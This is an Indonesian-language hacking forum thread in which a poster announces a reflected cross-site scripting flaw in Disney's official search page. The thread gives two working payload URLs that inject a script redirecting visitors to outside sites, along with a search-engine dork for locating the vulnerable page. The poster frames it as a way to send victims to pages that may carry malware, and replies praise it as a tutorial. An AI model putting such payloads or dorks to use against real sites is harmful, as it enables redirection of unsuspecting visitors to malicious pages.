XSS pada situs resmi Walt Disney

[poni]

Situs resmi Disney rentan terhadap serangan Cross Site Scripting, penyerang dapat mengirimkan redirect link melalui disney.go.com. jika korban klik link tersebut, maka akan diarahkan ke website yang mungkin mengandung malware. lihat demonya dibawah ini.

Code: Select all

http://disney.go.com/search/?q="><script>window.location = "http://www.xcode.or.id/"</script>
http://disney.go.com/search/?q="><script>window.location = "http://ferdianelli.wordpress.com/2011/01/08/update-08-jan-2011-xcode-sqlilfixss-vulnurable-webshell-scanner/"</script> 

Bug XSS pada situs Disney terdeteksi dengan Xcode Xploit Scanner
dork :

Code: Select all

inurl:/search/?q= site:disney.go.com

[wiLMaR_kiDz]

Hmmm...mulai deh..

[whitehat]

asik om tutorialnya......